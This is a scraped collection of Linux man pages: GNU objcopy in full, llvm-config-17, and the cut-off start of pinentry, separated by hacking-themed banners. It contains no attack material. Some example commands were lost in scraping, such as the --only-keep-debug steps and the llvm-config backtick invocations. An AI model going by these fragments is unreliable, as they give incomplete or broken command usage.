objcopy [-F bfdname|–target=bfdname] [-I bfdname|–input-target=bfdname] [-O bfdname|–output-target=bfdname] [-B bfdarch|–binary-architecture=bfdarch] [-S|–strip-all] [-g|–strip-debug] [–strip-unneeded] [-K symbolname|–keep-symbol=symbolname] [–keep-file-symbols] [–keep-section-symbols] [-N symbolname|–strip-symbol=symbolname] [–strip-unneeded-symbol=symbolname] [-G symbolname|–keep-global-symbol=symbolname] [–localize-hidden] [-L symbolname|–localize-symbol=symbolname] [–globalize-symbol=symbolname] [–globalize-symbols=filename] [-W symbolname|–weaken-symbol=symbolname] [-w|–wildcard] [-x|–discard-all] [-X|–discard-locals] [-b byte|–byte=byte] [-i [breadth]|–interleave[=breadth]] [–interleave-width=width] [-j sectionpattern|–only-section=sectionpattern] [-R sectionpattern|–remove-section=sectionpattern] [–keep-section=sectionpattern] [–remove-relocations=sectionpattern] [–strip-section-headers] [-p|–preserve-dates] [-D|–enable-deterministic-archives] [-U|–disable-deterministic-archives] [–debugging] [–gap-fill=val] [–pad-to=address] [–set-start=val] [–adjust-start=incr] [–change-addresses=incr] [–change-section-address sectionpattern{=,+,-}val] [–change-section-lma sectionpattern{=,+,-}val] [–change-section-vma sectionpattern{=,+,-}val] [–change-warnings] [–no-change-warnings] [–set-section-flags sectionpattern=flags] [–set-section-alignment sectionpattern=align] [–add-section sectionname=filename] [–dump-section sectionname=filename] [–update-section sectionname=filename] [–rename-section oldname=newname[,flags]] [–long-section-names {enable,disable,keep}] [–change-leading-char] [–remove-leading-char] [–reverse-bytes=num] [–srec-len=ival] [–srec-forceS3] [–redefine-sym old=new] [–redefine-syms=filename] [–weaken] [–keep-symbols=filename] [–strip-symbols=filename] [–strip-unneeded-symbols=filename] [–keep-global-symbols=filename] [–localize-symbols=filename] [–weaken-symbols=filename] [–add-symbol name=[section:]value[,flags]] [–alt-machine-code=index] [–prefix-symbols=string] [–prefix-sections=string] [–prefix-alloc-sections=string] [–add-gnu-debuglink=path-to-file] [–only-keep-debug] [–strip-dwo] [–extract-dwo] [–extract-symbol] [–writable-text] [–readonly-text] [–pure] [–impure] [–file-alignment=num] [–heap=reserve[,commit]] [–image-base=address] [–section-alignment=num] [–stack=reserve[,commit]] [–subsystem=which:major.minor] [–compress-debug-sections] [–decompress-debug-sections] [–elf-stt-common=val] [–merge-notes] [–no-merge-notes] [–verilog-data-width=val] [-v|–verbose] [-V|–version] [–help] [–info] infile [outfile]

DESCRIPTION

The GNU objcopy utility copies the contents of an object file to another. objcopy uses the GNU BFD Library to read and write the object files. It can write the destination object file in a format different from that of the source object file. The exact behavior of objcopy is controlled by command-line options. Note that objcopy should be able to copy a fully linked file between any two formats. However, copying a relocatable object file between any two formats may not work as expected.

objcopy creates temporary files to do its translations and deletes them afterward. objcopy uses BFD to do all its translation work; it has access to all the formats described in BFD and thus is able to recognize most formats without being told explicitly.

objcopy can be used to generate S-records by using an output target of srec (e.g., use -O srec).

objcopy can be used to generate a raw binary file by using an output target of binary (e.g., use -O binary). When objcopy generates a raw binary file, it will essentially produce a memory dump of the contents of the input object file. All symbols and relocation information will be discarded. The memory dump will start at the load address of the lowest section copied into the output file.

When generating an S-record or a raw binary file, it may be helpful to use -S to remove sections containing debugging information. In some cases -R will be useful to remove sections which contain information that is not needed by the binary file.

Note—objcopy is not able to change the endianness of its input files. If the input format has an endianness (some formats do not), objcopy can only copy the inputs into file formats that have the same endianness or which have no endianness (e.g., srec). (However, see the –reverse-bytes option.)

OPTIONS

infile

outfile

The input and output files, respectively. If you do not specify outfile, objcopy creates a temporary file and destructively renames the result with the name of infile.

-I bfdname

–input-target=bfdname

Consider the source file’s object format to be bfdname, rather than attempting to deduce it.

-O bfdname

–output-target=bfdname

Write the output file using the object format bfdname.

-F bfdname

–target=bfdname

Use bfdname as the object format for both the input and the output file; i.e., simply transfer data from source to destination with no translation.

-B bfdarch

–binary-architecture=bfdarch

Useful when transforming a architecture-less input file into an object file. In this case the output architecture can be set to bfdarch. This option will be ignored if the input file has a known bfdarch. You can access this binary data inside a program by referencing the special symbols that are created by the conversion process. These symbols are called _binary_objfile_start, _binary_objfile_end and _binary_objfile_size. e.g. you can transform a picture file into an object file and then access it in your code using these symbols.

-j sectionpattern

–only-section=sectionpattern

Copy only the indicated sections from the input file to the output file. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be copied, even if earlier use of –only-section on the same command line would otherwise copy it. For example: –only-section=.text.* –only-section=!.text.foo will copy all sectinos matching ‘.text.*’ but not the section ‘.text.foo’.

-R sectionpattern

–remove-section=sectionpattern

Remove any section matching sectionpattern from the output file. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. Using both the -j and -R options together results in undefined behaviour. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be removed even if an earlier use of –remove-section on the same command line would otherwise remove it. For example: –remove-section=.text.* –remove-section=!.text.foo will remove all sections matching the pattern ‘.text.*’, but will not remove the section ‘.text.foo’.

–keep-section=sectionpattern
When removing sections from the output file, keep sections that match sectionpattern.

–remove-relocations=sectionpattern
Remove non-dynamic relocations from the output file for any section matching sectionpattern. This option may be given more than once. Note that using this option inappropriately may make the output file unusable, and attempting to remove a dynamic relocation section such as .rela.plt from an executable or shared library with –remove-relocations=.plt will not work. Wildcard characters are accepted in sectionpattern. For example: –remove-relocations=.text.* will remove the relocations for all sections matching the pattern ‘.text.*’. If the first character of sectionpattern is the exclamation point (!) then matching sections will not have their relocation removed even if an earlier use of –remove-relocations on the same command line would otherwise cause the relocations to be removed. For example: –remove-relocations=.text.* –remove-relocations=!.text.foo will remove all relocations for sections matching the pattern ‘.text.*’, but will not remove relocations for the section ‘.text.foo’.

–strip-section-headers
Strip section header This option is specific to ELF files. Implies –strip-all and –merge-notes.

-S

–strip-all

Do not copy relocation and symbol information from the source file. Also deletes debug sections.

-g

–strip-debug

Do not copy debugging symbols or sections from the source file.

–strip-unneeded
Remove all symbols that are not needed for relocation processing in addition to debugging symbols and sections stripped by –strip-debug.

-K symbolname

–keep-symbol=symbolname

When stripping symbols, keep symbol symbolname even if it would normally be stripped. This option may be given more than once.

-N symbolname

–strip-symbol=symbolname

Do not copy symbol symbolname from the source file. This option may be given more than once.

–strip-unneeded-symbol=symbolname
Do not copy symbol symbolname from the source file unless it is needed by a relocation. This option may be given more than once.

-G symbolname

–keep-global-symbol=symbolname

Keep only symbol symbolname global. Make all other symbols local to the file, so that they are not visible externally. This option may be given more than once. Note: this option cannot be used in conjunction with the –globalize-symbol or –globalize-symbols options.

–localize-hidden
In an ELF object, mark all symbols that have hidden or internal visibility as local. This option applies on top of symbol-specific localization options such as -L.

-L symbolname

–localize-symbol=symbolname

Convert a global or weak symbol called symbolname into a local symbol, so that it is not visible externally. This option may be given more than once. Note - unique symbols are not converted.

-W symbolname

–weaken-symbol=symbolname

Make symbol symbolname weak. This option may be given more than once.

–globalize-symbol=symbolname
Give symbol symbolname global scoping so that it is visible outside of the file in which it is defined. This option may be given more than once. Note: this option cannot be used in conjunction with the -G or –keep-global-symbol options.

-w

–wildcard

Permit regular expressions in symbolnames used in other command line options. The question mark (?), asterisk (*), backslash (\ and square brackets ([]) operators can be used anywhere in the symbol name. If the first character of the symbol name is the exclamation point (!) then the sense of the switch is reversed for that symbol. For example: -w -W !foo -W fo* would cause objcopy to weaken all symbols that start with “fo” except for the symbol “foo”.

-x

–discard-all

Do not copy non-global symbols from the source file.

-X

–discard-locals

Do not copy compiler-generated local symbols. (These usually start with L or ..)

-b byte

–byte=byte

If interleaving has been enabled via the –interleave option then start the range of bytes to keep at the byteth byte. byte can be in the range from 0 to breadth-1, where breadth is the value given by the –interleave option.

-i [breadth]

–interleave[=breadth]

Only copy a range out of every breadth bytes. (Header data is not affected). Select which byte in the range begins the copy with the –byte option. Select the width of the range with the –interleave-width option. This option is useful for creating files to program ROM. It is typically used with an srec output target. Note that objcopy will complain if you do not specify the –byte option as well. The default interleave breadth is 4, so with –byte set to 0, objcopy would copy the first byte out of every four bytes from the input to the output.

–interleave-width=width
When used with the –interleave option, copy width bytes at a time. The start of the range of bytes to be copied is set by the –byte option, and the extent of the range is set with the –interleave option. The default value for this option is 1. The value of width plus the byte value set by the –byte option must not exceed the interleave breadth set by the –interleave option. This option can be used to create images for two 16-bit flashes interleaved in a 32-bit bus by passing -b 0 -i 4 –interleave-width=2 and -b 2 -i 4 –interleave-width=2 to two objcopy commands. If the input was ‘12345678’ then the outputs would be ‘1256’ and ‘3478’ respectively.

-p

–preserve-dates

Set the access and modification dates of the output file to be the same as those of the input file. This option also copies the date stored in a PE format file’s header, unless the SOURCE_DATE_EPOCH environment variable is defined. If it is defined then this variable will be used as the date stored in the header, interpreted as the number of seconds since the Unix epoch.

-D

–enable-deterministic-archives

Operate in deterministic mode. When copying archive members and writing the archive index, use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, below.

-U

–disable-deterministic-archives

Do not operate in deterministic mode. This is the inverse of the -D option, above: when copying archive members and writing the archive index, use their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.

–debugging
Convert debugging information, if possible. This is not the default because only certain debugging formats are supported, and the conversion process can be time consuming.

–gap-fill val
Fill gaps between sections with val. This operation applies to the load address (LMA) of the sections. It is done by increasing the size of the section with the lower address, and filling in the extra space created with val.

–pad-to address
Pad the output file up to the load address address. This is done by increasing the size of the last section. The extra space is filled in with the value specified by –gap-fill (default zero).

–set-start val
Set the start address (also known as the entry address) of the new file to val. Not all object file formats support setting the start address.

–change-start incr

–adjust-start incr

Change the start address (also known as the entry address) by adding incr. Not all object file formats support setting the start address.

–change-addresses incr

–adjust-vma incr

Change the VMA and LMA addresses of all sections, as well as the start address, by adding incr. Some object file formats do not permit section addresses to be changed arbitrarily. Note that this does not relocate the sections; if the program expects sections to be loaded at a certain address, and this option is used to change the sections such that they are loaded at a different address, the program may fail.

–change-section-address sectionpattern{=,+,-}val

–adjust-section-vma sectionpattern{=,+,-}val

Set or change both the VMA address and the LMA address of any section matching sectionpattern. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used.

–change-section-lma sectionpattern{=,+,-}val
Set or change the LMA address of any sections matching sectionpattern. The LMA address is the address where the section will be loaded into memory at program load time. Normally this is the same as the VMA address, which is the address of the section at program run time, but on some systems, especially those where a program is held in ROM, the two can be different. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used.

–change-section-vma sectionpattern{=,+,-}val
Set or change the VMA address of any section matching sectionpattern. The VMA address is the address where the section will be located once the program has started executing. Normally this is the same as the LMA address, which is the address where the section will be loaded into memory, but on some systems, especially those where a program is held in ROM, the two can be different. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used. Note - changing the VMA of sections in a fully linked binary can be dangerous since there may be code that expects the sections to be located at their old address.

–change-warnings

–adjust-warnings

If –change-section-address or –change-section-lma or –change-section-vma is used, and the section pattern does not match any sections, issue a warning. This is the default.

–no-change-warnings

–no-adjust-warnings

Do not issue a warning if –change-section-address or –adjust-section-lma or –adjust-section-vma is used, even if the section pattern does not match any sections.

–set-section-flags sectionpattern=flags
Set the flags for any sections matching sectionpattern. The flags argument is a comma separated string of flag names. The recognized names are alloc, contents, load, noload, readonly, code, data, rom, exclude, share, debug, and large. You can set the contents flag for a section which does not have contents, but it is not meaningful to clear the contents flag of a section which does have contents–just remove the section instead. Not all flags are meaningful for all object file formats. In particular the share flag is only meaningful for COFF format files and not for ELF format files. The ELF x86-64 specific flag large corresponds to SHF_X86_64_LARGE.

–set-section-alignment sectionpattern=align
Set the alignment for any sections matching sectionpattern. align specifies the alignment in bytes and must be a power of two, i.e. 1, 2, 4, 8…. Note - setting a section’s alignment will not automatically align its LMA or VMA addresses. If those need to be changed as well then the –change-section-lma and/or –change-section-vma options should be used. Also note that changing VMAs can cause problems in fully linked binaries where there may be code that expects the contents of the sections to be located at their old address.

–add-section sectionname=filename
Add a new section named sectionname while copying the file. The contents of the new section are taken from the file filename. The size of the section will be the size of the file. This option only works on file formats which can support sections with arbitrary names. Note - it may be necessary to use the –set-section-flags option to set the attributes of the newly created section.

–dump-section sectionname=filename
Place the contents of section named sectionname into the file filename, overwriting any contents that may have been there previously. This option is the inverse of –add-section. This option is similar to the –only-section option except that it does not create a formatted file, it just dumps the contents as raw binary data, without applying any relocations. The option can be specified more than once.

–update-section sectionname=filename
Replace the existing contents of a section named sectionname with the contents of file filename. The size of the section will be adjusted to the size of the file. The section flags for sectionname will be unchanged. For ELF format files the section to segment mapping will also remain unchanged, something which is not possible using –remove-section followed by –add-section. The option can be specified more than once. Note - it is possible to use –rename-section and –update-section to both update and rename a section from one command line. In this case, pass the original section name to –update-section, and the original and new section names to –rename-section.

–add-symbol name=[section:]value[,flags]
Add a new symbol named name while copying the file. This option may be specified multiple times. If the section is given, the symbol will be associated with and relative to that section, otherwise it will be an ABS symbol. Specifying an undefined section will result in a fatal error. There is no check for the value, it will be taken as specified. Symbol flags can be specified and not all flags will be meaningful for all object file formats. By default, the symbol will be global. The special flag ‘before=othersym’ will insert the new symbol in front of the specified othersym, otherwise the symbol(s) will be added at the end of the symbol table in the order they appear.

–rename-section oldname=newname[,flags]
Rename a section from oldname to newname, optionally changing the section’s flags to flags in the process. This has the advantage over using a linker script to perform the rename in that the output stays as an object file and does not become a linked executable. This option accepts the same set of flags as the –set-section-flags option. This option is particularly helpful when the input format is binary, since this will always create a section called .data. If for example, you wanted instead to create a section called .rodata containing binary data you could use the following command line to achieve it: objcopy -I binary -O <output_format> -B <architecture> \ –rename-section .data=.rodata,alloc,load,readonly,data,contents \ <input_binary_file> <output_object_file>

–long-section-names {enable,disable,keep}
Controls the handling of long section names when processing COFF and PE-COFF object formats. The default behaviour, keep, is to preserve long section names if any are present in the input file. The enable and disable options forcibly enable or disable the use of long section names in the output object; when disable is in effect, any long section names in the input object will be truncated. The enable option will only emit long section names if any are present in the inputs; this is mostly the same as keep, but it is left undefined whether the enable option might force the creation of an empty string table in the output file.

–change-leading-char
Some object file formats use special characters at the start of symbols. The most common such character is underscore, which compilers often add before every symbol. This option tells objcopy to change the leading character of every symbol when it converts between object file formats. If the object file formats use the same leading character, this option has no effect. Otherwise, it will add a character, or remove a character, or change a character, as appropriate.

–remove-leading-char
If the first character of a global symbol is a special symbol leading character used by the object file format, remove the character. The most common symbol leading character is underscore. This option will remove a leading underscore from all global symbols. This can be useful if you want to link together objects of different file formats with different conventions for symbol names. This is different from –change-leading-char because it always changes the symbol name when appropriate, regardless of the object file format of the output file.

–reverse-bytes=num
Reverse the bytes in a section with output contents. A section length must be evenly divisible by the value given in order for the swap to be able to take place. Reversing takes place before the interleaving is performed. This option is used typically in generating ROM images for problematic target systems. For example, on some target boards, the 32-bit words fetched from 8-bit ROMs are re-assembled in little-endian byte order regardless of the CPU byte order. Depending on the programming model, the endianness of the ROM may need to be modified. Consider a simple file with a section containing the following eight bytes: 12345678. Using –reverse-bytes=2 for the above example, the bytes in the output file would be ordered 21436587. Using –reverse-bytes=4 for the above example, the bytes in the output file would be ordered 43218765. By using –reverse-bytes=2 for the above example, followed by –reverse-bytes=4 on the output file, the bytes in the second output file would be ordered 34127856.

–srec-len=ival
Meaningful only for srec output. Set the maximum length of the Srecords being produced to ival. This length covers both address, data and crc fields.

–srec-forceS3
Meaningful only for srec output. Avoid generation of S1/S2 records, creating S3-only record format.

–redefine-sym old=new
Change the name of a symbol old, to new. This can be useful when one is trying link two things together for which you have no source, and there are name collisions.

–redefine-syms=filename
Apply –redefine-sym to each symbol pair “old new” listed in the file filename. filename is simply a flat file, with one symbol pair per line. Line comments may be introduced by the hash character. This option may be given more than once.

–weaken
Change all global symbols in the file to be weak. This can be useful when building an object which will be linked against other objects using the -R option to the linker. This option is only effective when using an object file format which supports weak symbols.

–keep-symbols=filename
Apply –keep-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–strip-symbols=filename
Apply –strip-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–strip-unneeded-symbols=filename
Apply –strip-unneeded-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–keep-global-symbols=filename
Apply –keep-global-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–localize-symbols=filename
Apply –localize-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–globalize-symbols=filename
Apply –globalize-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once. Note: this option cannot be used in conjunction with the -G or –keep-global-symbol options.

–weaken-symbols=filename
Apply –weaken-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–alt-machine-code=index
If the output architecture has alternate machine codes, use the indexth code instead of the default one. This is useful in case a machine is assigned an official code and the tool-chain adopts the new code, but other applications still depend on the original code being used. For ELF based architectures if the index alternative does not exist then the value is treated as an absolute number to be stored in the e_machine field of the ELF header.

–writable-text
Mark the output text as writable. This option isn’t meaningful for all object file formats.

–readonly-text
Make the output text write protected. This option isn’t meaningful for all object file formats.

–pure
Mark the output file as demand paged. This option isn’t meaningful for all object file formats.

–impure
Mark the output file as impure. This option isn’t meaningful for all object file formats.

–prefix-symbols=string
Prefix all symbols in the output file with string.

–prefix-sections=string
Prefix all section names in the output file with string.

–prefix-alloc-sections=string
Prefix all the names of all allocated sections in the output file with string.

–add-gnu-debuglink=path-to-file
Creates a .gnu_debuglink section which contains a reference to path-to-file and adds it to the output file. Note: the file at path-to-file must exist. Part of the process of adding the .gnu_debuglink section involves embedding a checksum of the contents of the debug info file into the section. If the debug info file is built in one location but it is going to be installed at a later time into a different location then do not use the path to the installed location. The –add-gnu-debuglink option will fail because the installed file does not exist yet. Instead put the debug info file in the current directory and use the –add-gnu-debuglink option without any directory components, like this: objcopy –add-gnu-debuglink=foo.debug At debug time the debugger will attempt to look for the separate debug info file in a set of known locations. The exact set of these locations varies depending upon the distribution being used, but it typically includes:

“* The same directory as the executable.”

“* A sub-directory of the directory containing the executable”

called .debug

“* A global debug directory such as /usr/lib/debug.”

As long as the debug info file has been installed into one of these locations before the debugger is run everything should work correctly.

–keep-section-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying section names, which would otherwise get stripped.

–keep-file-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying source file names, which would otherwise get stripped.

–only-keep-debug
Strip a file, removing contents of any sections that would not be stripped by –strip-debug and leaving the debugging sections intact. In ELF files, this preserves all note sections in the output. Note - the section headers of the stripped sections are preserved, including their sizes, but the contents of the section are discarded. The section headers are preserved so that other tools can match up the debuginfo file with the real executable, even if that executable has been relocated to a different address space. The intention is that this option will be used in conjunction with –add-gnu-debuglink to create a two part executable. One a stripped binary which will occupy less space in RAM and in a distribution and the second a debugging information file which is only needed if debugging abilities are required. The suggested procedure to create these files is as follows:

  1. foo then…

  2. create a file containing the debugging info.

  3. stripped executable.

  4. to add a link to the debugging info into the stripped executable.

Note—the choice of .dbg as an extension for the debug info file is arbitrary. Also the --only-keep-debug step is optional. You could instead do this:

i.e., the file pointed to by the –add-gnu-debuglink can be the full executable. It does not have to be a file created by the –only-keep-debug switch. Note—this switch is only intended for use on fully linked files. It does not make sense to use it on object files where the debugging information may be incomplete. Besides the gnu_debuglink feature currently only supports the presence of one filename containing debugging information, not multiple filenames on a one-per-object-file basis.

–strip-dwo
Remove the contents of all DWARF .dwo sections, leaving the remaining debugging sections and all symbols intact. This option is intended for use by the compiler as part of the -gsplit-dwarf option, which splits debug information between the .o file and a separate .dwo file. The compiler generates all debug information in the same file, then uses the –extract-dwo option to copy the .dwo sections to the .dwo file, then the –strip-dwo option to remove those sections from the original .o file.

–extract-dwo
Extract the contents of all DWARF .dwo sections. See the –strip-dwo option for more information.

–file-alignment num
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to PE targets.]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. [This option is specific to PE targets.]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to PE targets.]

–section-alignment num
[This option is specific to PE targets.] Sets the section alignment field in the PE header - if one is present in the binary. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. Note - this option will also set the alignment field in each section’s flags. Note - if a section’s LMA or VMA addresses are no longer aligned, and those addresses have not been set via the –set-section-lma or –set-section-vma options, and the file has been fully relocated then a warning message will be issued. It will then be up to the user to decide if the LMA and VMA need updating.

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. [This option is specific to PE targets.]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, efi-app, efi-bsd, efi-rtd, sal-rtd, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to PE targets.]

–extract-symbol
Keep the file’s section flags and symbols but remove all section data. Specifically, the option:

*<removes the contents of all sections;>

*<sets the size of every section to zero; and>

*<sets the file’s start address to zero.>

This option is used to build a .sym file for a VxWorks kernel. It can also be a useful way of reducing the size of a –just-symbols linker input file.

–compress-debug-sections
Compress DWARF debug sections using zlib with SHF_COMPRESSED from the ELF ABI. Note - if compression would actually make a section larger, then it is not compressed.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

For ELF files, these options control how DWARF debug sections are compressed. –compress-debug-sections=none is equivalent to –decompress-debug-sections. –compress-debug-sections=zlib and –compress-debug-sections=zlib-gabi are equivalent to –compress-debug-sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections using the obsoleted zlib-gnu format. The debug sections are renamed to begin with .zdebug. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note - if compression would actually make a section larger, then it is not compressed nor renamed.

–decompress-debug-sections
Decompress DWARF debug sections. For a .zdebug section, the original name is restored.

–elf-stt-common=yes

–elf-stt-common=no

For ELF files, these options control whether common symbols should be converted to the STT_COMMON or STT_OBJECT type. –elf-stt-common=yes converts common symbol type to STT_COMMON. –elf-stt-common=no converts common symbol type to STT_OBJECT.

–merge-notes

–no-merge-notes

For ELF files, attempt (or do not attempt) to reduce the size of any SHT_NOTE type sections by removing duplicate notes.

-V

–version

Show the version number of objcopy.

–verilog-data-width=bytes
For Verilog output, this options controls the number of bytes converted for each output data element. The input target controls the endianness of the conversion.

-v

–verbose

Verbose output: list all object files modified. In the case of archives, objcopy -V lists all members of the archive.

–help
Show a summary of the options to objcopy.

–info
Display a list showing all architectures and object formats available.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ld (1), objdump (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1434 - Linux cli command llvm-config-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-config-17 and provides detailed information about the command llvm-config-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-config-17.

NAME 🖥️ llvm-config-17 🖥️

config - Print LLVM compilation options

SYNOPSIS

llvm-config option [components…]

DESCRIPTION

llvm-config makes it easier to build applications that use LLVM. It can print the compiler flags, linker flags and object libraries needed to link against LLVM.

EXAMPLES

To link against the JIT:

g++ llvm-config --cxxflags -o HowToUseJIT.o -c HowToUseJIT.cpp g++ llvm-config --ldflags -o HowToUseJIT HowToUseJIT.o
llvm-config --libs engine bcreader scalaropts

OPTIONS

–assertion-mode

Print the assertion mode used when LLVM was built (ON or OFF).

–bindir

Print the installation directory for LLVM binaries.

–build-mode

Print the build mode used when LLVM was built (e.g. Debug or Release).

–build-system

Print the build system used to build LLVM (e.g. cmake or gn).

–cflags

Print the C compiler flags needed to use LLVM headers.

–cmakedir

Print the installation directory for LLVM CMake modules.

–components

Print all valid component names.

–cppflags

Print the C preprocessor flags needed to use LLVM headers.

–cxxflags

Print the C++ compiler flags needed to use LLVM headers.

–has-rtti

Print whether or not LLVM was built with rtti (YES or NO).

–help

Print a summary of llvm-config arguments.

–host-target

Print the target triple used to configure LLVM.

–ignore-libllvm

Ignore libLLVM and link component libraries instead.

–includedir

Print the installation directory for LLVM headers.

–ldflags

Print the flags needed to link against LLVM libraries.

–libdir

Print the installation directory for LLVM libraries.

–libfiles

Similar to –libs, but print the full path to each library file. This is useful when creating makefile dependencies, to ensure that a tool is relinked if any library it uses changes.

–libnames

Similar to –libs, but prints the bare filenames of the libraries without -l or pathnames. Useful for linking against a not-yet-installed copy of LLVM.

–libs

Print all the libraries needed to link against the specified LLVM components, including any dependencies.

–link-shared

Link the components as shared libraries.

–link-static

Link the component libraries statically.

–obj-root

Print the object root used to build LLVM.

–prefix

Print the installation prefix for LLVM.

–shared-mode

Print how the provided components can be collectively linked (shared or static).

–system-libs

Print all the system libraries needed to link against the specified LLVM components, including any dependencies.

–targets-built

Print the component names for all targets supported by this copy of LLVM.

–version

Print the version number of LLVM.

COMPONENTS

To print a list of all available components, run llvm-config –components. In most cases, components correspond directly to LLVM libraries. Useful “virtual” components include:

all

Includes all LLVM libraries. The default if no components are specified.

backend

Includes either a native backend or the C backend.

engine

Includes either a native JIT or the bitcode interpreter.

EXIT STATUS

If llvm-config succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1435 - Linux cli command pinentry

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pinentry and provides detailed information about the command pinentry, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pinentry.

NAME 🖥️ pinentry 🖥️

curses - PIN or pass-phrase entry dialog for GnuPG

SYNOPSIS

**pinentry-curses [**OPTION…]

DESCRIPTION

